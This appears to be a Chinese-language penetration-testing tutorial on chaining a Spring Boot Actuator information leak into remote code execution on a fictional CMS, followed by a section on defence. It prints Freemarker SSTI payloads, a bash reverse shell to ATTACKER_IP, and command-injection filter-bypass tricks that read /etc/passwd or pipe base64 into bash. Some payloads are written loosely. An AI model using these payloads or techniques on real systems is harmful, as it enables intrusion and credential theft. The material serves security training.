1. 项目概述：从“不起眼”到“致命一击”的漏洞链艺术
在渗透测试和红队评估的实战中，我们常常会遇到一种令人沮丧又兴奋的局面：发现了一个看似“低危”甚至“无伤大雅”的漏洞，比如一个目录遍历、一个信息泄露，或者一个不起眼的配置错误。新手可能会直接忽略，标记为“低风险”后便转向他处。但经验丰富的安全研究员知道，这些“低危”点往往是通往系统核心、实现远程代码执行（RCE）这座王冠的绝佳跳板。将多个独立的、看似无害的漏洞，通过精巧的逻辑串联起来，形成一个能够突破层层防御、最终达成高危目标的攻击路径，这就是“漏洞利用链”的构建艺术。
本次我们要深入探讨的，正是这样一个经典且极具代表性的场景：如何从一个低危的信息泄露漏洞出发，逐步收集情报、扩大战果，最终构造出能够实现远程代码执行（RCE）的完整攻击链。这个过程不仅考验攻击者对单个漏洞的理解深度，更考验其系统性的思维、对目标环境架构的推理能力，以及将不同技术点（如信息泄露、逻辑缺陷、权限绕过、代码注入）融会贯通的实战技巧。无论是用于CTF竞赛、渗透测试授权评估，还是用于理解现代复杂应用的安全威胁模型，掌握漏洞链的构造思路都至关重要。
2. 漏洞利用链的核心思想与设计逻辑
2.1 为什么是“链”？单一漏洞的局限性
在理想化的简单漏洞模型中，我们可能遇到一个直接输入点，注入一段命令或代码就能拿到Shell。但现实中的企业应用，尤其是经过一定安全加固的系统，这种“一击必杀”的高危直接漏洞越来越少。安全开发流程（SDL）、Web应用防火墙（WAF）、输入过滤、权限最小化等防护措施，使得攻击面被大幅压缩。
此时，单一漏洞的威力被极大削弱。例如：
- 一个信息泄露漏洞：可能只暴露了某个配置文件路径、部分源码片段、API接口列表或内部错误信息。它本身不能执行任何代码，危害评级通常为“低”或“中”。
- 一个权限绕过漏洞：可能允许你访问一个本该无权访问的API，但这个API功能本身无害。
- 一个有限的文件上传点：可能只允许上传图片，并有严格的后缀和内容检查。
单独看，这些漏洞威胁有限。但如果我们能像玩拼图一样，将A漏洞泄露的信息作为利用B漏洞的“钥匙”，再用B漏洞获取的权限去触发C漏洞的条件，那么最终产生的破坏力将是指数级增长的。这就是“链”的价值——它通过叠加和串联，突破了单一防护点的限制。
2.2 典型漏洞链构成要素
一个完整的、从信息泄露到RCE的漏洞链，通常包含以下几个关键环节，它们环环相扣：
- 信息收集与侦察（Information Leak）：这是链条的起点。目标可能是源码、配置文件（如
.git目录、.env文件、WEB-INF/web.xml）、目录结构、API文档、错误调试信息、备份文件等。泄露的信息为后续步骤提供“地图”和“钥匙”。 - 身份认证与权限突破（Authentication/Authorization Bypass）：利用泄露的信息（如硬编码的密钥、令牌、密码哈希、会话机制细节），尝试绕过登录或提升权限。例如，从源码中找到默认密码，从配置文件中拿到数据库凭证，从而以更高权限用户身份访问系统。
- 攻击面扩大与功能滥用（Feature Abuse）：在获得一定权限后，深入探索应用功能。寻找存在风险但之前因权限不足无法触及的功能点，如文件上传、数据导入、模板编辑、插件管理、命令执行函数调用等。
- 代码/命令注入与最终利用（Injection & RCE）：在找到的高风险功能点上，结合前期收集的上下文信息（如服务器路径、过滤规则、中间件类型），精心构造Payload，突破过滤，实现操作系统命令或应用服务器代码的执行。
2.3 思维模式：从攻击者视角进行系统推理
构建漏洞链不仅仅是技术堆砌，更是一种系统性的推理过程：
- 看见一点，想到一片：发现一个
/proc/self/environ信息泄露，不仅要看到环境变量，要想到其中可能包含SECRET_KEY、数据库连接字符串、内部服务地址。 - 假设验证：基于泄露的信息做出假设（“这个路径可能可写”、“这个API可能调用系统命令”），并设计实验去验证。
- 环境适配：Payload不是通用的。需要根据泄露的服务器操作系统（Linux/Windows）、中间件（Apache/Nginx/Tomcat）、编程语言（PHP/Java/Python）、框架特性来定制。
- 绕过与混淆：预判防御措施（WAF、输入过滤、禁用危险函数），利用泄露的源码或配置信息来研究过滤规则，设计绕过方案。
3. 实战拆解：从信息泄露到RCE的完整路径
下面，我们以一个虚构但融合了多个真实案例的Web应用场景为例，拆解一条完整的攻击链。假设目标是一个使用Java Spring Boot开发的内容管理系统（CMS）。
3.1 第一阶段：发现并利用低危信息泄露
初始发现：在目标网站https://target.com进行常规目录扫描时，发现存在/actuator/health端点，确认其为Spring Boot Actuator组件。进一步扫描发现/actuator/env端点未授权访问。
漏洞利用：访问https://target.com/actuator/env，返回了大量应用环境属性。这是一个典型的信息泄露。在返回的JSON数据中，我们发现了以下关键信息：
{ "property": { "source": "systemEnvironment", "value": "/opt/cms/uploads" } }, { "property": { "source": "systemEnvironment", "value": "mysql://admin:SuperSecretDBP@ss!@localhost:3306/cmsdb" } }, { "property": { "source": "applicationConfig: [classpath:/application.yml]", "value": "file.upload.allowed-extensions: jpg,png,gif,pdf" } }信息提炼与利用：
- 上传目录路径：
/opt/cms/uploads。这为我们后续尝试文件上传并访问提供了绝对路径。 - 数据库连接字符串：包含明文用户名
admin和密码SuperSecretDBP@ss!。虽然我们暂时无法直接连接内网数据库，但密码很可能被复用。 - 文件上传允许后缀：
jpg,png,gif,pdf。这明确了前端和后端可能进行的过滤规则。
注意：Spring Boot Actuator在早期版本中很多端点默认开放，是极其常见的信息泄露源。即使在新版本中，若配置不当（如
management.endpoints.web.exposure.include=*且安全配置缺失），同样会导致此问题。在实际测试中，/actuator/heapdump端点甚至能泄露内存中的敏感数据，危害更大。
3.2 第二阶段：利用泄露凭证扩大访问权限
尝试权限提升：我们尝试使用泄露的数据库密码SuperSecretDBP@ss!进行密码喷洒攻击。在目标系统的登录界面、SSH服务（如果开放）、甚至其他关联子域名上尝试常用用户名（admin, root, administrator）搭配此密码。
结果：幸运的是，在https://target.com/admin（一个独立的后台管理入口）上，使用用户名admin和密码SuperSecretDBP@ss!登录成功。这印证了“密码复用”这一常见的安全反模式。
新的攻击面：进入后台后，我们获得了比普通用户高得多的权限。功能包括：用户管理、内容编辑、系统设置、插件管理、模板编辑、数据备份与恢复。其中，“插件管理”和“模板编辑”是潜在的RCE高发地。
3.3 第三阶段：定位高风险功能并分析
功能分析：
- 插件上传：后台允许上传
.jar格式的插件。界面提示“上传后系统将自动安装并重启相关服务”。这非常危险，因为恶意JAR包可以包含任意代码。 - 模板编辑：可以编辑Freemarker或Thymeleaf模板文件。编辑界面提供了一个在线代码编辑器，保存后模板实时生效。
初步测试与限制：
- 插件上传：尝试上传一个简单的恶意JAR，被拦截。系统可能进行了文件签名验证或简单的反病毒扫描。
- 模板编辑：直接插入
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }这类SSTI（服务端模板注入）Payload并保存，页面报错“包含非法字符”，Payload被后端过滤。
遇到阻碍：直接利用失败了。我们需要更详细的信息来了解过滤机制和服务器环境，以便构造绕过Payload。
3.4 第四阶段：结合信息泄露进行深度利用
回顾与关联：我们回想起第一阶段从/actuator/env泄露的信息中，还有一个file.upload.allowed-extensions: jpg,png,gif,pdf。这虽然是针对前台上传功能的，但揭示了系统可能有一个统一的FileUploadUtil类进行后缀校验。
进一步信息挖掘：既然我们已经有了后台权限，可以寻找更多的信息泄露点：
- 在“系统设置”->“日志查看”中，我们发现可以下载应用日志。在日志中看到了类似
Filtered suspicious content: ${的警告信息，确认了模板引擎处存在关键词过滤。 - 在“数据备份”功能中，我们发现备份文件被存储在
/opt/cms/backups/目录下，并且备份文件名包含日期，如backup_20231027.zip。
关键突破点：我们尝试访问https://target.com/backups/backup_20231027.zip（结合第一阶段泄露的路径习惯进行推测），竟然可以未授权直接下载！这是一个新的、更严重的信息泄露。解压备份文件，我们获得了：
- 完整的项目源码。
- 数据库的SQL转储（包含所有用户哈希、配置表）。
- 甚至包含一些临时密钥文件。
源码审计：通过分析源码，我们精准定位了安全逻辑：
- 模板过滤：在
TemplateSecurityFilter.java中，发现过滤规则是黑名单模式，过滤了${,#,<%等字符，但过滤逻辑存在缺陷：它只进行一次替换。例如，将${替换为空。那么${{}}在经过替换后会变成${}，依然可能被解析。 - 插件验证：在
PluginManagerService.java中，发现插件上传后，会用一个JarVerifier检查META-INF下的签名文件。如果没有签名或签名不匹配，则删除文件。但是，检查逻辑发生在文件保存到临时目录之后、移动到正式插件目录之前。
3.5 第五阶段：构造最终RCE利用链
现在，我们拥有了所有拼图：
方案一：利用模板编辑漏洞（SSTI绕过）
- 构造绕过Payload：根据源码审计结果，我们可以使用双写或嵌套绕过。例如，Payload为：
<#assign ex="freemarker.template.utility.Execute"?new()> $``{ ex("whoami") }（注意{和}之间插入了反引号，实际攻击中可能是其他不可见字符或编码）。或者更简单地，利用Freemarker的?api内置函数（如果版本允许）：<#assign c=“freemarker.template.utility.Execute”?new()>${c(“id”)}，但需要确保?new()没被过滤。我们最终构造的Payload是：${“freemarker.template.utility.Execute”?new()(“id”)}，因为过滤逻辑只查找${后紧跟{的模式，而我们这种写法绕过了它。 - 利用：在后台模板编辑器中，找到用于渲染动态页面的
footer.ftl文件，插入精心构造的Payload并保存。 - 触发：访问网站前台任意页面，只要引用了
footer.ftl，我们的命令id就会被执行。将命令替换为反向Shell命令，即可获得一个交互式Shell。
方案二：利用插件上传漏洞（时间竞争+路径穿越）
- 利用逻辑缺陷：虽然插件签名检查会删除非法文件，但存在一个微小的时间窗口：文件已上传到临时目录（如
/tmp/upload_xxx.jar），但尚未被验证和删除。 - 结合信息泄露：我们从源码和日志中知道了临时目录的命名规则和插件加载的扫描间隔（比如每10秒扫描一次插件目录
/opt/cms/plugins/）。 - 构造攻击：
- 编写一个恶意JAR包，其
META-INF/MANIFEST.MF中包含Main-Class指向我们包含恶意代码的类。 - 编写自动化脚本，持续快速地向插件上传接口发送恶意JAR包。
- 同时，另一个线程持续尝试访问一个特定的URL，该URL会触发应用加载插件目录下的JAR文件（例如，访问
/plugins/reload端点，或者利用应用已知的某个插件调用接口）。 - 目标是在恶意JAR被删除前的几毫秒内，让应用服务器恰好扫描并加载它，从而实现RCE。这需要高并发的请求和一定的运气，但实践中是可行的。
- 编写一个恶意JAR包，其
- 更稳定的利用：通过备份文件中的源码，我们发现应用在加载插件时，会尝试从
file://协议读取本地路径。如果我们能控制插件安装的“源URL”参数（可能通过另一个未发现的参数或数据库配置），就可以指向我们事先上传到/opt/cms/uploads/evil.jar的文件（利用第一阶段泄露的上传路径），从而完全绕过签名检查。
最终，我们选择方案一，因为它更可靠、直接。通过构造的SSTI Payload，我们成功执行了命令bash -c ‘bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1’，在攻击机监听的4444端口上获得了目标服务器的反向Shell，实现了完整的远程代码执行。
4. 漏洞链中的关键技术点深度解析
4.1 信息泄露的常见源头与利用方式
信息泄露绝非只有/actuator。实战中需要关注：
| 泄露类型 | 常见路径/迹象 | 可利用信息 | 后续利用思路 |
|---|---|---|---|
| 版本控制泄露 | /.git/,/.svn/,/.hg/ | 完整源码、历史记录、配置文件 | 代码审计，寻找硬编码密钥、逻辑漏洞 |
| 配置文件泄露 | /.env,/config.json,/WEB-INF/web.xml,/application.yml | 数据库密码、API密钥、加密盐、服务器配置 | 凭证复用、连接内部服务、解密数据 |
| 备份文件泄露 | *.bak,*.zip,*.tar.gz,/backup/,/www.zip | 源码、数据库dump、系统文件 | 同版本控制泄露，还可能直接拿到数据库内容 |
| 目录遍历/列目录 | /static../,/uploads/, 参数?file=../../etc/passwd | 系统文件、源码文件、用户上传内容 | 读取密码哈希、配置文件、源码 |
| 错误信息泄露 | 未处理的异常堆栈、SQL错误、调试页面 | 数据库结构、SQL语句、文件路径、框架版本 | 辅助SQL注入、识别技术栈、寻找已知漏洞 |
| API接口泄露 | /swagger-ui.html,/api-docs,/v2/api-docs | 所有接口定义、参数、可能未鉴权的接口 | 直接调用内部API，进行未授权操作 |
实操心得：信息泄露的利用，关键在于“联想”和“验证”。看到一个路径，就想想它可能对应的绝对路径、可能存在的兄弟文件、父目录是否可列。看到一个密钥，就试试它在其他系统、服务、协议上的复用。自动化工具（如
dirsearch,gobuster）能发现路径，但人脑才能建立连接。
4.2 权限绕过与横向移动的技巧
获得初始凭证或低权限访问后，下一步是提升权限或访问更敏感功能。
- 密码复用与爆破：从一处泄露的密码，尝试登录SSH、FTP、数据库、后台管理系统、邮箱等。使用工具如
Hydra、Medusa进行自动化尝试，但要注意锁定策略。 - 会话操纵：分析Cookie、JWT Token的生成机制。如果从泄露的源码中找到了密钥，可以伪造高权限用户的会话。对于JWT，可尝试
none算法攻击、密钥混淆攻击（如HS256与RS256混淆）。 - 不安全的直接对象引用（IDOR）：在后台发现功能调用的API形如
/api/user/delete?id=123，尝试修改id为其他用户（如id=1管理员），看是否能越权操作。这常与信息泄露结合，泄露的接口列表有助于发现IDOR。 - 功能滥用：后台的“数据导入”功能可能允许上传XML文件，进而触发XXE。“模板编辑”可能触发SSTI。“系统命令”功能可能本身就存在命令注入，只是限于管理员使用。
4.3 从代码注入到RCE的Payload构造与绕过
这是漏洞链的最后一环，也是最需要技巧的一环。
- 命令注入（Command Injection）：
- 分隔符绕过：
;、&、&&、|、||、\n（换行符）、\r（回车符）。在Windows上还有%0a,%0d。 - 空格绕过：用
${IFS}、$IFS$9、<、>、%09（Tab）代替空格。 - 黑名单关键字绕过：
- 拼接：
a=l;b=s;$a$b（相当于ls）。 - 变量替换：
/???/??t /???/p?ss??（相当于/bin/cat /etc/passwd）。 - 编码：Base64、Hex、Octal编码命令后解码执行。如
echo ‘Y2F0IC9ldGMvcGFzc3dkCg==’ \| base64 -d \| bash。 - 引号与反斜线：利用
\、'、"的转义和闭合特性。
- 拼接：
- 分隔符绕过：
- 服务端模板注入（SSTI）：
- 识别引擎：通过注入
{{7*7}}、${7*7}、<%= 7*7 %>等测试，根据回显判断是Twig、Jinja2、Freemarker、Velocity、Thymeleaf还是Smarty。 - 利用类：目标是找到执行命令或读文件的类。如Java中
Runtime.exec()、ProcessBuilder，Python中os.system()、subprocess.Popen。 - 沙盒绕过：许多模板引擎有沙盒限制。需要利用其内置函数、属性遍历、类加载器机制来突破。例如，在Jinja2中，可以通过
.__class__.__mro__或.__class__.__bases__访问基类，最终找到object类，再通过.__subclasses__()找到可用的危险子类（如subprocess.Popen）。
- 识别引擎：通过注入
- 反序列化漏洞：
- 常见于Java（Apache Commons Collections, Fastjson, Jackson）、Python（pickle）、PHP（unserialize）。
- 利用链（Gadget Chain）构造复杂，通常依赖第三方库中存在危险方法的类。实战中多使用现成的工具和Payload（如ysoserial、marshalsec），但需要根据目标类路径进行调整。
- 信息泄露在此环节至关重要：泄露的依赖库版本号（如
pom.xml）直接决定了可用的利用链。
注意事项：Payload的构造必须贴合目标环境。在Linux下能用的
bash -i在Windows下无效。知道目标是用Runtime.getRuntime().exec()执行命令，就要注意该函数对管道、重定向等复杂命令解析的问题，通常需要编码或转换为数组形式。最好的方法是，先尝试执行whoami或id确认权限，再尝试ping命令测试出网情况，最后再构造稳定的反向Shell或上传木马。
5. 防御视角：如何打破攻击链
理解了攻击链的构造，防御思路也就清晰了：在链条的任何一个环节将其斩断。
杜绝信息泄露：
- 生产环境关闭调试模式、禁用详细的错误回显。
- 正确配置服务器，禁止访问
.git、.env、备份文件等敏感路径。 - 对Spring Boot Actuator、Swagger、phpMyAdmin等管理接口实施严格的访问控制（IP白名单、强认证）。
- 定期进行安全扫描，检查是否存在敏感文件泄露。
强化身份认证与授权：
- 实施强密码策略，严禁密码复用。
- 关键系统使用多因素认证（MFA）。
- 遵循最小权限原则，后台功能按角色精细授权。
- 对所有API接口实施鉴权，杜绝IDOR。
安全的输入处理与输出编码：
- 对所有用户输入进行严格的、白名单化的验证和过滤。
- 使用安全的API执行系统命令（如参数化列表），避免使用
Runtime.exec(String command)。 - 使用安全的模板引擎，并禁用危险的内置函数（如Freemarker的
Execute）。 - 及时更新框架和库，修复已知的反序列化等漏洞。
纵深防御与监控：
- 部署WAF，虽然可能被绕过，但能增加攻击门槛。
- 对文件上传功能，不仅校验后缀，更要校验文件头、内容，并将文件存储在不可执行目录，通过重命名或内容分发网络（CDN）提供服务。
- 实施网络隔离，数据库等核心服务不应暴露在公网。
- 建立有效的日志审计和监控告警机制，对异常登录、异常文件访问、异常命令执行进行实时告警。
构建漏洞利用链的过程，是一场攻击者与防御者之间的智力博弈。它要求攻击者具备耐心、细致的观察力、系统的思维和丰富的知识储备。而对于防御者而言，认识到“低危漏洞”潜在的串联风险，秉持“纵深防御”和“最小权限”的安全原则，持续进行代码审计、渗透测试和安全加固，才是守住阵地的根本。安全是一个过程，而非一个状态，在这场持续的对抗中，对攻击链的深刻理解，是双方共同的必修课。
